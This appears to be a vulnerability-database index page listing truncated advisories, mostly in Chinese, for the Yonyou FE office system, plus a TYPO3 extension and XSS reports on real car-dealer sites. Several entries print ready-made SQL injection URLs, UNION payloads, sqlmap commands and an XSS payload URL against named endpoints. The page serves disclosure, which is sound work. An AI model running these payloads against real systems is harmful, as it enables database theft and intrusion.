用友FE管理系统 syncbasedoc.jsp 参数pk_corp SQL注入漏洞

No description provided by source...

用友FE协作办公系统 V5.5 /indexsearch/filter.jsp文件tableId参数SQL注入漏洞

exp: http://xxx.com/indexsearch/filter.jsp?tableId=1 UNION ALL SELECT NULL,NULL,char126+char126+char126+isnullcastdbname as nvarchar4000,char32+char126+char126+char126,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -...

用友FE协作办公平台 /common/parseTree.jsp 等2处 SQL注入漏洞

No description provided by source...

用友FE协作系统办公系统 filter.jsp 参数tableId SQL注入漏洞

No description provided by source...

用友 FE管理系统 cm_notice_content.jsp 参数itype_id SQL注入漏洞

No description provided by source...

Multiple vulnerabilities in extension "Fe user statistic" (festat)

It has been discovered that the extension "Fe user statistic" festat is susceptible to Cross-Site Scripting, Insecure Unserialize and Information Disclosure. Release Date: March 03, 2016 Component Type: Third party extension. This extension is not a part of the TYPO3 default installation. Affecte...

chevroletofsantafe.com XSS vulnerability

Vulnerable URL: http://www.chevroletofsantafe.com/VehicleSearchResults?search=new%22%3E%3Csvg/onload=confirm%28/xssposed/%29// Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 6295219 Google Pagerank| 0 VIP websit...

用友FE协作办公平台5.5 /security/treeXml.jsp 文件 SG04 参数SQL注入漏洞

No description provided by source...

用友FE协作办公系统 system/config/groupTreeXml.js 文件 SG04 参数SQL注入漏洞

No description provided by source...

用友FE协同办公系统 V6.0 showphoto.xf?photoid 参数盲注漏洞

No description provided by source...

用友FE协作办公系统 /common/codeMoreWidget.jsp SQL注入漏洞

0x01 框架介绍 用友用友FE协作办公系统是一款OA办公自动化软件，算是一款平台型的办公自动化软件。通过整合多种网络化、低成本营销手段和沟通方式，帮助企业建立与客户之间通畅的交流平台，全方位管理客户资源、提升客户价值、制定科学销售指标、监控项目进程、评估业务员绩效，以增强内部协同，合理调配企业资源。 官方主页：http://www.yonyou.com/ 0x02 漏洞细节 用友FE协作办公系统某处过滤不严，导致SQL注入漏洞 注入链接： /common/codeMoreWidget.jsp?code= 案例：...

用友FE协作办公系统 ProxyServletUtil file:// 协议文件读取漏洞

No description provided by source...

用友 FE 协作办公平台 /mas/schedule.jsp 系统Union注入漏洞

No description provided by source...

autotrader.ca XSS vulnerability

Vulnerable URL: http://www.autotrader.ca/cars/hyundai/santa%20fe/?kwd=xl" Details: Description| Value ---|--- Patched:| Yes, at 06.12.2016 Latest check for patch:| 06.12.2016 16:07 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 6462 Google Pagerank| 6 VIP websi...

FE协作办公平台 /servlet/UploadSkinServlet任意文件上传漏洞

No description provided by source...

FE协作办公平台 /servlet/ChangeBGServlet 任意文件上传漏洞

漏洞文件：/servlet/ChangeBGServlet漏洞参数：skinName影响版本：FE5.5.2及以下版本代码片段： public void doGetHttpServletRequest request, HttpServletResponse response throws ServletException, IOException String savePath = getServletConfig.getServletContext.getRealPath""; String themeDir =...

用友FE协作办公系统FILE协议文件读取漏洞(通杀全版本)

简要描述： 用友FE协作办公系统某处协议处理接口未过滤file://协议，导致任意文件读取漏洞,通杀全版本 详细说明： web.xml有如下配置： ProxyServletUtil fe.witmanage.service.ProxyServletUtil ProxyServletUtil /ProxyServletUtil ProxyServletUtil.java源码如下: / / public void doGetHttpServletRequest request, HttpServletResponse response throws ServletException,...

用友FE协作办公系统SQL注入漏洞(一)

简要描述： 用友FE协作办公系统某处过滤不严，导致SQL注入漏洞 详细说明： 用友FE协作办公系统某处过滤不严，导致SQL注入漏洞，可直接union注入 注入链接：/sys/treeXml.jsp?Si06=1&type=sort 注入参数：Si06 Payload： Si06=1%27+UNION+ALL+SELECT+1,@@version,1,1,1,1,1,1,1,1,1,1,1,1--&type=sort Sqlmap命令： python sqlmap.py -u 'http://xxxx//sys/treeXml.jsp?Si06=1&type=sort' -p Si06...

用友FE协作办公系统SQL注入漏洞

简要描述： RT 详细说明： 用友FE协作办公系统某处过滤不严，导致SQL注入漏洞，可直接union注入 注入链接：/system/config/deptTreeXml.jsp?type=group&SG04=1 注入参数：SG04 Payload：SG04=1'+UNION+ALL+SELECT+1,@@version,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1-- Sqlmap注入：python sqlmap.py -u 'http://xxxx/system/config/deptTreeXml.jsp?type=group&SG04=1...

用友FE通用系统漏洞打包之一

简要描述： 用友通用系统漏洞打包1 详细说明： 看了一天的时间，把发现的漏洞一起打包了 总共包含用友FE协同办公平台通用系统漏洞打包，包含12个SQL注入漏洞，总不会都重复嘛 漏洞的文件及参数为： /sys/left.jsp?lx=1 /sys/regUI.jsp?regName=111 /sys/regListUI.jsp?searchKeyvalue=111 /sys/plugin/pluginformedit.jsp?done=&key=a /security/check.jsp?name=1&id=1...